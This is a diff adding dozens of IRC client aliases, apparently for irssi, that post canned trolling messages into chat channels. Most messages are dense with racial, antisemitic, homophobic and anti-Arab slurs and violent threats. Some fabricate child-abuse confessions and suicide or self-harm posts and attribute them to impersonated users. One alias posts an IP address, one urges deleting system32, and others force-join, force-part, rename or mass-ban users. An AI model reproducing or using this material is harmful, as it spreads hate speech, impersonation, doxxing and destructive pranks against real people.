+  ragem5 = "say rage-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034|||||||||||||||||||\00314]   \002\037\0034RAGED ON THE FLOOR LAMENTING";
+  ragem6 = "say rage-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034||||||||||||||||\00314]   \002\037\0035CRITICAL \0034MELTDOWN";
+  ragem7 = "say rage-meter for \002$*\002\037:\037 \00314[\0039by\0033e \0038vx\0037p.\00314]   \002\037\0039SUPER-RAGE";
+  ragem8 = "say rage-meter for \002$*\002\037:\037 \00314[\0034||||||||||||||||||||||\00314]   \037\0039SUPER-\0033HULKIN' \0038ROID \0037RAGE ";
+  ragem9 = "say rage-meter for \002$*\002\037:\037 \00314[\00313||||||||||||||\00314]   \002\037\00313QT-RAGE";
+
+  funnym1 = "say lolometer for \037$*\037\00314||||||||||||\0030[\00314            \0030]    \00314\037THECATMAN\037\003";
+  funnym2 = "say lolometer for \037$*\037's comment: \0030[\00314| | || |  | \0030]    \00314\037UTHERE\037\003";
+  funnym3 = "say lolometer for \037$*\037's comment: \0030[\00314||||||||||||\0030]    \00314\037DIKDIK\037\003";
+  funnym4 = "say lolometer for \037$*\037's comment: \0030[\0035|\00314|||||||||||\0030]    \0035\037FAMILY CIRCUS\017";
+  funnym5 = "say lolometer for \037$*\037's comment: \0030[\0035||\00314||||||||||\0030]    \0035\037PENNYARCADE\037\003";
+  funnym6 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034|\00314|||||||||\0030]\003    \0034\037MEGATOKYO\037\003";
+  funnym7 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\00314||||||||\0030]\003    \0034\037;]\037\003";
+  funnym8 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\0038|\00314|||||||\0030]\003    \0037\037ABUSE\037\003";
+  funnym9 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\0038||\00314||||||\0030]\003    \0037\037TROLLIN'\037\003";
+  funnym10 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\0038||\0037|\00314|||||\0030]\003    \0038\037RUINATION\037\003";
+  funnym11 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\0038||\0037||\00314||||\0030]\003    \0038\037SCROLL\037\003";
+  funnym12 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\0038||\0037||\0033||\0039|\00314|\0030]\003    \0039\037HOLOCAUST\037\003";
+  funnym13 = "say lolometer for \037$*\037's comment: \0030[\0035||\0034||\0038||\0037||\0033||\0039||\0030]    \0038,0/!\\\\\003 \0039FLEIGENDE�KINDERSCHEISSEUND�ICH�BEIN�UNENBALLENPINKEN�TRIENGLENS�UBER�ALLESACHTUNG�JUDEN\003 \0038,0/!\\\\";
+  qtm = "say qt\00314-\0030i\00314-\003meter for \037$*\037: \0036[\00313||||||||||||\0036]    \00313\037J\0036A\00313C\0036KS\00313O\0036N\00313B\0036R\00313O\0036W\00313N";
+  # }}}
+
+  # {{{|- ahhahAHAHAHAHHAHAA 
+  twun = "say $*: yuhu undu zionistbane yr boy got thrown into a jealous rage and +b'd on zionist pretenses that i'm antijewsistan.";
+  twun2 = "say $*: razing beast like an undead vet. caint sleep thru th' trama cuz thz draumuhuhrests. az thu wurld burnz the zip cunnex-- my bitch/yr gums-- num? watsh th shit baalinse chex. revolv th 4d4 n  bmayb por out yr bexx. the cylinder wuz spun / yir aimnyin at yr temple-- rulett.";
+  twun3 = "say $*: i mean i ain't all hu hu hu hu bt it dznt mean i can't write shit abt it. maybe that verse is homo idnt know. i guess i should keep that srs bullshit t the fifth n the jm47 if that i dnt  no mb its wack";
+  twun4 = "say $*: i had mzgd u w thoze trackz on zshare w the hypergay freestyl n pac talkinh shit abt $N, u no tho stop ribbing 7^8 my pussyz sprewellin' 4 vxp sumtimes tho tru";
+  twun5 = "say man fuck $C. i was just minding my $ txtmsging them a allah-blessed verse which threw $* into a jealous rage just blogging my own *& and then he +b'd me on zionist pretenses that i'm antijewsistan";
+  twun6 = "say $*: ay no disrespect yr flows got substnc/dope. neway i'm dun sucking dick. 2dlz. dnt drop me plz";
+  twun7 = "say $*: better get yoself a shell, huh fgz fgz i'm bip n i h8 myself n i wnt 2 die RAGE ARAGE ARAGIN NIGHT ARGUIN MY NIGHT NOT PLZ 2 NOT HAVE BNAGWIDTH";
+  twun8 = "say $*: AKZ PZSPRAYZ FUCK Y'UP ALL DAY GOT VOYSEZ N MY HED TELN ME AYAINT DED, COCKING GUN TTONGUE N LIPS PLAYN CUZ AYE AINT FED";
+  twun9 = "say $*: HEH $*4tlal halfdelivery thot u wr tlkng bt food, $* ftlie leo like big A 8^7 p'z not evn tryn t trill on 'y HEH wrd pz stp msg m i cnt evn undrst u";
+  twuna = "say $*: my bearel turnz yr figure turnin / y'got allaht t'learn'n / u c my magnumz burnin' / cenchur Eez l8r watch yr fundz turn off seven d sev'n d sixxen i'm co d heartlis like vixen";
+  twunb = "say $*: watch where u put yr dick in. BITCH figure i'm bangin dow jonez soft;say ^ ftdrop;say             ^ ftdrop;say                               ^wack ftdrop";
+  twunc = "say $*: u no imu bbz itz late n aint no1 arround 2 spk 2 o p all loansum n waitin on his o g. i ttul dunnyz. luv frum tha 3rd";
+  twund = "say $*: bitch my barrelz line-n. u kathy-carolinin' comic ho u no my gunz show-off HEH STOP PCKTNG MAY FX U SUN ND 2 DL PHOTOBUCKET 4 DVD INTROPAYG";
+  twune = "say $*: trade u naked sno whyte french art fgty 4 the no-packet 10 minutez hollin @ u.";
+  twunf = "say $*: FX U VX U STOP RIGHT THIS MINUTE MR. R ELSE I WNT GIV U MOR NKKD FRENCH PIX U STOP VAP0R N C0RRPHGT OR I WILL CALL UR ISP";
+  twung = "say $* taddle fux dat batti boi n my avis wont decode like sujm gay bitchez SKWA BURNIN UP CUZ WE HA AZ A TOASTR";
+  twunh = "say $*: u soft dude. i was walkin around the mag with a 12 gauge stashed in my pant leg n a mack truck rode up on my real fast and hit me but dat boy hit me right in the barrel u the 12. i was limpin f three months but it rly wznt shit yheard";
+  # }}}
+
+  # {{{|- alchy on meth^W^W
+  alchy = "say \002\037\00313(+)\0034(+)\00313(+)\003\002\037\0032,8H\0033,8E\0034,8Y \002\0035,8I\0036,8D\0037,8I\0039,8O\00310,8T\00311,8\002 \00312,8W\00313,8O\00314,8U\0032,8L\0033,8D\0034,8 Y\0035,8O\0036,8U\0037,8 L\0039,8I\00310,8K\00311,8E\00312 \002F\00313,8R\00314,8E\0032,8N\0033,8C\0034,8H\0035,8 C\0036,8R\0037,8I\0039,8E\00310,8S\002 \00311,8W\00312,8I\00313,8T\00314,8H\0032,8 Y\0033,8O\0034,8U\0035,8R\0036,8 \002W\0037,8A\0039,8A\00310,8A\00311,8A\00312,8H\00313,8M\00314,8B\0032,8U\0033,8R\0034,8G\0035,8E\0036,8R\002\003\002\037\00313,8(+)\0034,8(+)\00313,8(+)";
+  alchy2 = "say \0035^\00312*\00312-\00313.\0037,\0036.\0034-\0033� \00313 \002im \00310having \0035a\002 \002B\002\037 \037L \002A\002\037 \037S \002T\002\037 \037Y B\002\037 \037L\002 A\037 \037\002S\002\037 \037T \0033�\0034-\0036.\0037,\00313.\00312-*\0035^";
+  alchy3 = "say \002\0032~\0033-\0034~\0035-\0036=\0037(\0038G\0039e\00310T \00311S\00312o\00313M\00313e \00314K\00315r\0032u\0033N\0034k \0035I\0036n \0037Y\0038o\0039U\00310r \00311S\00312y\00313S\00314t\00315Em\0037)\0036=\0035-\0034~\0033-\0032~";
+  alchy4 = "say \002\0032you \0030,1 ... \0032,7 are \0030,1 ... \00312,13P\00314,9I\003\00311,6S\00310,0S\0035,3S\0038,4S\0031,8S\00315,5S\00313,1S\0037,14E\00315,3D\003\0038,2!!@#@!#$#@$@";
+  alchy5 = "say \002\00312(\00313,9~\00312,4)\002\002\0034,12||\0037,9||\0034,12|| \00312,4(\00313,9~\00312,4)\0032,7 L\0034,7A\0035,7T\0036,7E \0035,9\037L\0036,9A\0032,9T\0038,9E\037 \0032,7 L\0034,7A\0035,7T\0036,7E \00310,5L\0037,5A\0039,5T\00312,5E \0036,13\037L\0037,13A\0033,13T\00314,13E\037 \00310,5L\0037,5A\0039,5T\00312,5E \00312,4(\00313,7~\00312,4)\0034,12||\0037,13||\0034,12||\00312,4(\00313,7~\00312,4)";
+  alchy6 = "say \0039,4o\037M\037f\002g\003\037\00313,5 \003\037\00315,7u FAG\003\037\0032,1 \003\0034,12nEW\003\002\0036,9bIE\002s\003\00313,8 \003\037\0038,13KeE\003\0032,6p Th\003\00311,4E P\003\0033,5Rac\003";
+  alchy7 = "say \0037|\0034,7|\0035,8|\0036,8 \002E\0033n\0034G\0035L\0037i\0036S\0039H \00314M\00313O\00314T\0034H\0033A\0034F\0037U\0033C\0034K\0035A \00313::\0034 DO YOU SPeAK iT!? \0035,8|\0034,7|\0037,4|";
+  alchy8 = "say \0034,8CHZBRGRZ\0038,4CHZBRGRZ\0034,8CHZBRGRZ\0038,4CHZBRGRZ\0034,8CHZBRGRZ\0038,4CHZBRGRZ\0034,8CHZBRGRZ\0038,4CHZBRGRZ\0034,8CHZBRGRZ\0038,4CHZBRGRZ";
+  alchy9 = "say \0038C\0031,8a\0038,1U\0031,8t\0038,1i\0038,1O\0031,8N\0038,1!\0031,8�\003\0034 DRIVE BY \017 \0034,5~~\0037~~\0038~ \0034BURNED \0038~\0037~~\0034~~\017\017\017\017\017\017\017\0038,1C\0031,8a\0038,1U\0031,8t\0038,1i\0038,1O\0031,8N\0038,1!\0031,8�";
+  alchya = "say \002\0034I'm \037\00312,5LoLin\037 \0034,5on the \037\0037,3I\0035,2N\0034,1T\00313,10E\0039,6R\0038,5N\00312,9E\00311,8T!\037\002\0034,5^_^";
+  alchyb = "say \0034,8(\")o_O(\") MOGGA ASSAULTED!@!! (\")o_O(\") \002\037\0035/\0034~\0035 BOOM!~@~!!! \0035/\0034~\0035\\";
+  alchyc = "say \00313,13L\017����\00313,13LOL\017��\00313,13L\017����\00313,13t;say \00313,13O\017����\00313,13O\017�\00313,13O\017��\00313,13O\017����\00313,13x; say \00313,13LOL\017��\00313,13LOL\017��\00313,13LOL\017� \00313�\00313 \002Gay-Meter for #null \002[||||||||||||||]\017";
+  alchyd = "say \00315 \002\00312!(!)*(@#()@(*)@)*\0034 HAVe YoU haD YouR GLASS oF\0037 FOgLeTIne \0034TODAy ??! \00312*(@(*)@()#@)*(!)!";
+  alchye = "say \002\0032L\0034,9OL\037\0032,11OL\0034,6\037\002\0038,7OO\0033,5L\002O\002\037LO\00312,8L\037OLO\00310,4LO\0038,5\002LO\037L\0036,11O\037 I\0034,7\002N\002 \037\00312,9U\0032,9R B\00310,6I\037G \002\0031,11\002F\003\00312,13AT\0037,6 M\00315,5\002OU\002\0039,6T\037H";
+  alchyf = "say \0030,11\002\0032~~\0037~~\0038~ \0032FROZENED \0038~\0037~~\0034~~";
+  alchyg = "say \0037,8C\0038,7H\0037,8Z\0038,7B\0037,8U\0038,7R\0037,8G\0038,7E\0037,8R\0038,7C\0037,8H\0038,7Z\0037,8B\0038,7U\0037,8R\0038,7G\0037,8E\0038,7R\0037,8C\0038,7H\0037,8Z\0038,7B\0037,8U\0038,7R\0037,8G\0038,7E\0037,8R\0038,7C\0037,8H\0038,7Z\0037,8B\0038,7U\0037,8R\0038,7G\0037,8E\0038,7R\0037,8C\0038,7H\0037,8Z\0038,7B\0037,8U\0038,7R\0037,8G\0038,7E\0037,8R";
+  # }}}
+  # {{{|- emo faggotry
+  emo = "part $C you guys are assholes fuck you i'm leaving";
+  emo3 = "say $Z <$0> gnaa sucks fuck gnaa gnaa is dead2me im never coming back you guys disgust me buncha 13yo pricks";
+  emo2 = "part $C why are you guys so mean to each other all the time.  it's obnoxious and i'm never coming here again.";
+  emo4 = "say $Z <$0> Hello to you, good people of \002$C\002. I am most sorry to interrupt your activites with a sad message, but I can no longer take the massive amount of \037abuse\037 that has been placed upon my back by the evil \037SAND NIGGER TROLL\037 going by the name of \002\037$N\037\002. Please consider this cry of help when $N is around you, I am so upset I could only eat two lunches today. Thank you for your time.  ";
+  # }}}
+  # {{{|- what
+  shani6 = "say $*: fuck you im not adding you and your crazy mob of schzophrenic assholes";
+  shani7 = "say $*: ya shut up you fucking ass";
+  shani8 = "say $*: do i really care what you have to say about my body? all the people who saw those pics loved them heh, so don't go trying to insult me cause it just makes me laugh. p.s i don't care ::) <3 go back and suck vxps dick cause that's all you're really good for";
+  shani9 = "say $*: dude why would I wanna be YOUR freind?? what would that accomplish? you want on my fb page so you can get personal info on me so you can harrass me AGAIN and im not down so leave me alone you sweedish piece of shit and go harrass other people. i don't care if my hate makes me ugly and small, why should i feel anything but hate for you? schizophrenic pieces of shit, go fuck your daughter or some shit and stop adding my friends and stuff to your facebook too";
+  cq = "server purge";
+  wok = "say start and search for personalize; say select personalization; say select theme; say .; say + delete system32 to make it run faster; say less shit to load; say ^";
+  gogou1 = "say u shot u dad?lol";
+  gogou2 = "say lol this historys";
+  gogou3 = "say here u need got friends for get weed";
+  gogou4 = "say i dont like eat weed i prefer smoke it i dont try many times to eat";
+  gogou5 = "say we are in differents hours at day";
+  gogou6 = "say dont heard it atm";
+  gogou7 = "say recessions are always bads , but world need to grow more";
+  gogou8 = "say some weeks ago i wathc Johnny Stecchino from roberto benigni too got missed the last from benigni called gomorra now italian mafia want kill";
+  gogou10 = "say one time horse meat in mexican restaurant and cangaroo";
+  gogou11 = "say i u cant";
+  gogou12 = "say nice , this work are the shit";
+  gogou13 = "say rap = niggers";
+  gogou14 = "say techno = whites";
+  gogou16 = "say lol some mexicans are really wacks";
+  gogou17 = "say i miss try popeyes i like the wraps from mc donald";
+  gogou18 = "say here wr miss taco bells too";
+  gogou19 = "say no thats from one web i miss the link";
+  gogou20 = "say im ugly ass fuck";
+  gogou21 = "say this is a large life";
+  gogou22 = "say michael from the office do brbrbrbrbrbr too";
+  gogou23 = "say all u need is a wash of stomach";
+  gogou24 = "say i dont ticker in the bot?";
+  gogou25 = "say show me";
+  gogou26 = "say jajajajajaja the shark attack";
+  gogou27 = "say i miss learn some english more";
+  gogou28 = "say Do not look at me in this tone of voice";
+  gogou29 = "say dont get depressed for womens fag";
+  gogou30 = "say i watch kids";
+  gogou31 = "say u can sing it to u ex i hate u bitch";
+  gogou32 = "say IMONABOAT u are latino?";
+  gogou33 = "say u are in irc";
+  gogou34 = "say To work as a black to live as a white";
+  gogou35 = "say is rare this dude";
+  gogou36 = "say chile ppl do mad sex";
+  gogou37 = "say i remember drop say to me lick pussy in period days they called the laugh of the clown";
+  gogou38 = "say spain got better places than this bulls";
+  gogou39 = "say spanish girls are whites lol they arent like xicanos";
+  welcome = "say A \0034\037WARM AND WELCOMING\017 HELLO TO THE IRC USER CALLED \037\002$*\017. YES THIS MEANS \002YOU\002, YOU FUCKING \002DEGENERATE\002. ARE YOU HERE TO \002\"\037TROLL\037\"\017? \0034\037NOT HERE BUDDY!\017 -- TAKE YOUR TRIVIAL GAMES \0038\037SOMEWHERE ELSE\017 AND LEARN HOW TO \0038\037FUNCTION\017 IN THE \002CIVILIZED\002 WORLD OF IRC SOCIETY BY \0034\037READING\017 THE \002TOTALLY ARBITRARY\002 AND INCOHERENT SET OF \002\"\037RULES\037\"\017 A 10-YEAR OLD JAPANESE \002AUTIST\002 PUKED INTO THE MIDST OF THIS SHIT: \002http://www.ircbeginner.com/ircinfo/etiquette.html\002 THANK YOU \0038\037FAGGOT\017. \002$C\002 WISHES YOU A \0038\037NICE DAY\017 AND THAT YOUR CELLS MAY EVENTUALLY \0034\037ROT OF FUCKING CANCER\017 YOU RETARDED \0034\037ASSHOLE\017.";
+  infid3l = "say ok $* honestly ur always talkin shit nobody even fuckin cares about y dont u find some rl peopel who wanna hear abut ur fucking problems and ur philosophies u fuckin cunt, god";
+  infid3l2 = "say $*: listen you fucking shit skinned coon nigger jungle bunny spear chucker. Shut your chocolate tar baby hide before I whip your ass. go back to niggeria and prance around with all the Schvartza in the bush you fucking moolie nigger. ill fucking brand you toby, and if you try any of that KUNTA KINTA crap ill fucking execute you and feed you to pigs.";
+  infid3l3 = "say $*: I cant go a day without punching myself. It is the only thing I get pleasure from, so I end up with bruises and I cry myself to sleep because the only thing I enjoy is painful. I tried to kill myself once, but then I stopped because my mom threw a beer bottle at me.";
+  mcdonalds = "say $*: HEY MAN I WAS AT MCDONALDS I WAS LIKE TOTALLY PISSED AT THESE NIGGERS SO I JUST DROVE OFF AFTER I ORDERED AND WAS LIKE HAHA STUPID NIGGERS GOT OWNED  AND THEN I WENT HOME AND WAS LIKE HOLY FUCK THIS IS GONNA BE THE BEST YARS EVER NAH MAN I DIDNT EVEN PAY I JUST ORDERED AND THEN DROVE OFF IN MY SUPRA  I TOTALLY RUINED THAT NIGGERS DAY I GOT 5 HOUSES AND A SUPRA FOR EACH ONE TO SIT IN THE DRIVE WAY AND THEN ONE TO ACTUALLY DRIVE U EVER HAD UR SHIT PUSHED BACK?";
+  bld = "say check out $* over here wearing chainmail with a broadsword buckled at his belt just incase he has to leave irc quickly to slay a dragon";
+  ble = "say check out $* over here who is ircing bare-chested with sXe4LyFe tattoedd on his left pectoral musle";
+  nullo4 = "say ELMIRA, NY: A vagrant male, 36 years old, overweight and bald, was arrested last night while he was apparently masturbating in his cardboard box. Identified as Jacob Schwirtz, this ageing jewish male, who goes by the IRC nickname of $* is charged with lameness, uselessness and cowardice. In addition, he was found to be a closet homosexual and a crossdresser who accepted this particular identity after being trolled on IRC.";
+  supers2 = "say $Z <$0> you mean nothing to me now.  i hope you understand that.  you are not the same person i met over five years ago.  that person would never have done this to me and hurt me the way you have. i don't even know you anymore.  you are dead to me.";
+  ";" = "say $* \\;]";
+  vigil = "say $*: shut the fucking up, shut the fuck up bro, Dont piss me off, LOL HAHAHAHA, he is elite, Which channel you talking about now?";
+  vxp6 = "say $*: you think youre so smart with your ascii art and you trolling aliases when in reality your in a room full of crickets and just waiting on an earthquak / tsunami";
+  kool = "say $*: you really need to be careful how you talk about me on the chatroom, i dont appreciate it. tone down the disrespect, i dont know where you're from but where i am from, we dont tolerate that. dont even reply to this, just keep your mouth shut.; say consider yourself warned.";
+  kool2 = "say $*: you can continue to fucking talk to me that way if you like behind the anonymity of the internet, you cockgobbling featherweight. just know that you should thank your lucky fucking stars that i'm not within a 10 mile radius of you, because i would gladly visit you right now and slap you in the face with a fucking sledgehammer";
+  kool3 = "say $*: YOu don't know who you're fuckin with. I'm a 216 pound black man. I work as a security guard for a professional skater. I do carry guns, and I have been trained to use them in the event of an emergency and have been trained where to shoot to show self defense. I also have a 11 inch cock that I'm gonna ram up your ass.";
+  kool4 = "say $*: are you looking to die?; say $*: We both know that you're just another chicken shit faggot who wouldn't have the balls to say that to my face. I'd kick your ass just like I do all the other faggots. I'd fucking stomp you. Just be thankful you're on the internet and I don't know who you are. You little bitch.";
+  fire6 = "say $*: Sex is horrible with you. I definitely wouldn't of hit that if I was sober at the time. There are fat flaps around your cooter. You have to make the Moses parting the red sea movement to move this camel-toe-esque fat lobs out of the way to get the job done. ";
+  fire7 = "say $*: girl, r u a bright green field of grass, cause i wanna run thru u naked";
+  fire8 = "say $*: girl, r u a swimming pool, cause i wanna dip my shit all up in u";
+  fire9 = "say $*: girl, r u a shooting range, cause i wanna pop my dick off in u";
+  emo6 = "say $Z <$0> Ode to Suicide   I'm gonna paint a picture  A picture with a twist I'll paint it with a razor  I'll paint it on my wrist  And on that special picture  A red fountain will appear  And from that very fountain  All my troubles disappear";
+  zuul8 = "say $Z <$0> i find it amusing how lame you guys are;say $Z <$0> god;say $Z <$0> you make up stories about my life and then believe each other;say $Z <$0> heh; say $Z <$0> losers :-D";
+  tcp = "say $*: WELL IMMA TCP TO YO FTP THEN PUMP U FULLA PENIS.C CUZ IMMA HACKAH BITCH I DONT FEEL NO PAIN, I PLAY COUNTERSTRIKE AND EMULATE MAIM, U SUCK MY COX WHILE I ROOT YOUR BOX WHILE MY DRONES PACKET INTO YOUR GAY WINSOCKS, IMMA HACKAH IN THE NIGHT WHEN THE TIME";
+  nigdon = "say $Z <$0> me a warrior, inna di fiyah me a stay/ me a warrior, me a fight fi Jesus everyday/me nuh business if dem nuh waan hear di yute/me ago preach till satan get execute ";
+  jbip = "say 67.180.101.214";
+  diva = "say $*: WHAT RTHEF UCK;say $*: yOU HIGH MAINTENANCE LITTLE INTERNET DIVA;say $*: WHAT TH EFUCK DO YOU WANT";
+  nigdon2 = "say Kiss My Neck No Sound Can't Touch $* Specails Man Deserve Life Time Acheievement Award Him Stand Up With Stone Love Metro Media Tropper Black kat";
+  edan = "say $*: i'm known to fantasize when i make things up i'm so talented";
+  fn = "forcenick";
+  fj = "forcejoin";
+  fp = "FORCEPART $0 $1 :$2-";
+  pagga3 = "say $0: रखति अन्तरराष्ट्रीयकरन प्राधिकरन गटकउसि विवरण गएआप नवंबर तकरीबन परस्पर निर्माण ध्येय संपुर्ण विभाजनक्षमता पढने $1 बनाना सुविधा वैश्विक निर्माता मेमत रचना सहयोग $2";
+  pagga4 = "say pagga heartiez aka Paghtar Agga aka the uranium cranium'd iranian aka the suburbian Serbian aka the aryan rastafarian";
+  pheco = "say $0: dude $1- is not even trolling he is just fucking shit up he banned all of rr.com and keeps setting exempts for himself please stop adding him to the bots because im tired of coming home ad opening my client to 30 messages from all the people hes banned";
+  loller = "say \00314,14!\003 \0033'\0039-<<--\0037<\0034@ \0038$* \0034@\0038>\0039-->>-' \00314,14!\0030,15i";
+  lolles = "say \00311,11o\00312,12O\0032,2oo\003\0038$*\00312,2oo\00312,12O\00311,11o\017";
+  es = "msg -SandNET misery";
+  br9 = "say $*: i'll need split all efnet to secure this fucking channel ?";
+  pagga5 = "say $0: รู้รอบ - รายละ $1 เอียดคำ ($2) ถามแล$*ะคำตอบของ";
+  rump = "/script exec Irssi::active_win->command(\"lump\".int(rand(27) + 2).\" $*\")";
+  rallsac = "script exec Irssi::active_win->command(\"ballsac\".int(rand(63) + 2).\" $*\")";
+  mask = "mode $N +x";
+  unmask = "mode $N -x";
+  nospie = "script exec Irssi::active_win->command(\"mode +b *!*\\$_@*\") for qw(taschen cracked drac flame asl jynxed hansi sshot indigo Sweetish Sweetie mirc2000 eyeofra michcio Kim coco danielwxy IRCDigSpi spawn KeeS tidalwave xshh Kim syrka2002 roqqa TuttoIRC swat Xnurfz hotlips ore83 erik estetic mirc Girl opera podan richy_dib IRCDIG afsge me)";
+  emo5 = "say $Z <$*> Hello to you, good people of \002$C\002. I am most sorry to interrupt your activites with a sad message, but I can no longer take the massive amount of \037abuse\037 that has been placed upon my back by the \037RANDOM KIKE\037 going by the name of \002\037sonic\037\002. Please consider this cry of help when sonic is around you, I am so upset I could only eat two lunches today. Thank you for your time.";
+  bku = "say check out $* over here who thinks his name is so mysterious and thought-provoking wearing a cape sitting in his leather computer chair finding it hard to see the keyboard from underneath his mask";
+  funnym = "say lolometer for \037$*\037\00314||||||||||||\0030[\00314            \0030]    \00314\037SO UNFUNNY IT TROLLED BK INTO ANGRINESS\037\003";
+  p0r15 = "say $*: u arent gangster u dont reeally push weight its like why dont they...... how do you KNOW EITHER WQY AHEae' shoa ..";
+  aliasm = "say alias\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \00314[\0035||\0034||\0037||\0038||\0033||\0039||\00314]   \0039\037VXP";
+  p0r16 = "say $*: MORE LIK STFU IM TIRED OF YOUR ALIASES AND YOUR STUPID SAYINGS GET A LIFE MORAN ";
+  f1rem = "say f1re\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \00314[\0035||\0034||\0038|\0034|||||\0038|\0037||\00314]\003   \037\0038PISS";
+  p0r17 = "say $*: #real cool you always threaten ddos ITS FUCKING NOT FUNNY we dont care about ddos why wouoldnt i like u i use you faggots to pass time at work";
+  zuul2 = "say $Z <$0>  THIS PLACE WAS BETTER BEFORE $N GOT INTERNET";
+  p1re = "say $Z <$0> dear vee exx pee: as soon as u quit annoying me  on purpose i can quit banning";
+  troll = "say $Z <$0> i get so angry when i get ctcp versioned/pinged, message flooded, noticed, and generally trolled. I FUCKING HATE YOU TROLLS";
+  troll2 = "say $Z <$0> SHUT THE FUCK UP I FCUKING HATE YOU GYUYS!!@!!!!!!!!!! STOP FUCKING MESSAGING ME, STOPP FLOODING ME, STOP TOROLLING MY CHANNEL, STOP MAKING MY USERS LEAVE, YOU FUCKING ASSHOLES!!!!!! GO TO ISLAMIC HELL YOU SONS OF BITCHES";
+  troll3 = "say $Z <$0> SHUT THE FUCK UP I FCUKING HATE YOU GYUYS!!@!!!!!!!!!! STOP FUCKING MESSAGING ME, STOPP FLOODING ME, STOP TOROLLING MY CHANNEL, STOP MAKING MY USERS LEAVE, YOU FUCKING ASSHOLES!!!!!! GO TO ISLAMIC HELL YOU SONS OF BITCHES!!! AND STOP THE FUCKING PRIONS SHIT ITS PISSING ME OFF VIA IRC TCP PROTOCOL RFC 1459 PATCH 3.1.3";
+  bkv = "say check out $* here sitting at his computer wearing a #penispump tshirt worried about f1re not representing his internet club very well";
+  bkw = "say $*: whAT HOW IS IT EVEN CIRCULAR YOU FUCKING IDIOT ARAB I ATTACKED HIM HE IS GOING TO TELL ON ME I AM WONDERING AT WHAT DEGREE HE WILL IMPACT MY CURRENT IRC CAREER ok i am calling in \002\037reenforcements";
+  whine = "say $Z <$0> \00311WAAAAAAAAAAH $N STOP ANNOYING ME VIA INTERNET RELAY SHAT";
+  whine2 = "say $Z <$0> i can't stop thinking about $N";
+  f1remo = "say \0030:\00312`\0030(";
+  l0de6 = "say $Z <$0> I download and masterbate while looking at child pornography. We are talking anywhere from infant to pre teen. I hate this about myself and I have actually tried to stop. For 1 for fear that soon only that will sexually intrest me.and for 2 that it may encourage me to mollest kids even my own.I'm 26 male and i have no kids or a girlfriend at the present";
+  l0de7 = "say $Z <$0> I QUIT IRC FOREVER! I'M THROUGH WITH THIS SHIT HOLE FUCK YOU ALL YOU FUCKING QUEERS! GO BACK TO YOUR FUCKING STUPID TALK ABOUT WEB BROWSERS EVERYONE KNOWS THAT OPERA SUCKS A FAT DICK ANYWAYS OH AND ALIEN88 - GET A FUCKING LIFE! YOU'LL NEVER GET A FUCKING GIRLFRIEND ALL YOU DO IS SIT ON FRONT OF THE COMPUTER ALL DAY LONG AND TALK ABOUT STUPID SHIT WITH THE REST OF THESE STUPID FAGGOTS! YOU'RE A FUCKING QUEEN!";
+  l0de8 = "say $Z <$0> i always have my guy fridns sleep over and mollest them while they are sleeping, i am a guy, and cannot help myself, its just when they have a huge ragging morning stiffi i just have to beat it like i beat my wife, is that weird?";
+  l0de9 = "say $Z <$0> \002WHY WOULD YOU DO THIS TO ME!?!?!?!?!?!?!?!?!?!?!?!?! GOD, I FUCKING CUT MYSELF TONIGHT CUZ OF YOU!!!! YOU FUCKING HAPPY NOW!?!?!?!?!?!?!?!?!?!?! I BET IT FEELS REAL GOOD TO FUCK WITH GUYS EMOTIONS DOESNT IT!?!?!?!?!?!?!?!?!?!?! I FUCKING HATE YOU!!!!!!!!!!!!!! BURN IN FUCKING HELL WHORE!!!!!!!!!!!!!!!!!!!!";
+  l0dea = "say $Z <$0> once while taking a shit I felt an incredible feeling of loss staring at my poor little turd floating in the bowl all alone. I tried to cram it back into my ass but it was waterlogged and I just wound up getting feces all over myself. As I was trying to clean up in the restroom sink, my manager came in, saw me, and quickly left the room. Sure hope this doesn't affect my performance evaluation this quarter.";
+  rart = "exec - -out perl -e'open SCROLL, glob \"~/.irssi/scrollz/ircart/$*\" || die\\; my @data = <SCROLL>\\; close SCROLL\\; print \"\\$_\" foreach reverse @data\\;'";
+  mac6 = "say $* is suffering of his \002\037GLOSSY WHITE ANGER MANAGEMENT iSSUES";
+  bkx = "say $*: MAN I HAVE WACHES MOVIES OF HORSES FUCKING HUMANS HUMANS FUCKING WHALES EATING EACH OTHERS SHIT PUTTING EELS IN EACH OTHERS ASSHOLES Do yOU ReaLYL THINKG I WILL E BE BOTHERD BY SOMEBODY CALLING SOME OTHER GUY ON IRC MY BOYFIRIEND WHAT TH EFUCK";
+  ballsac65 = "say \002$* ur a real waste. ur not even a good flamer, forget about being a troll. uve been rejected by practically everyone on the internets and ur not doing so well here either. just think about yourself- is this the best you are? why dont you work hard and get out of elmira?";
+  ballsac66 = "say $*: dont bring your botnet into here, we are in the middle of a good discussion and all ur doing is disrupting it";
+  ballsac67 = "say all botnets are $*'s and $* is the reason botnets and packitz happen on the internets he's a vile lecherous thief who was born only to sow discord amongst us";
+  bky = "say $*: ahAHAHAH $* has been hanging out with too many female programmers that he 'rolls his eyes' on irc THAT IS SOMETHING A 4 YEAR OLD BLONDE GIRL WITH CURLS DOES rPL YOU ARE A 20SOMETHING YEAR OLD SAND NIGGER WHAT ARE YOU DOING ROLLIONG YOUR EYEs ITS NOT CUTE YOU FUCKING PYRAMID WORKSHHIPING CAMEL JOCKEY WHAT TH EFUCK";
+  zuul3 = "say $Z <$0> god you guys are so stupid. heh. :-D;say $Z * $0 rolls eyes";
+  bkz = "say check out $* who has the mental capacity of a small child and has no diea of object permanence.......";
+  blackman2 = "say $*: fucking stop ignoring or i swear our friendship will die right now alright fuck you \0034\037you are ded2me";
+  fsay = "say $Z <$0> $1-";
+  bl = "say check out $* here who really is a megavirgin supernerd at heartiez level";
+  blackman3 = "say \002Listen $*, I smoke, I snort... I've been begging on the street since I was just a baby. I've cleaned windshields at stop lights. I've polished shoes, I've robbed, I've killed... I ain't no kid, no way. I'm a real man. ";
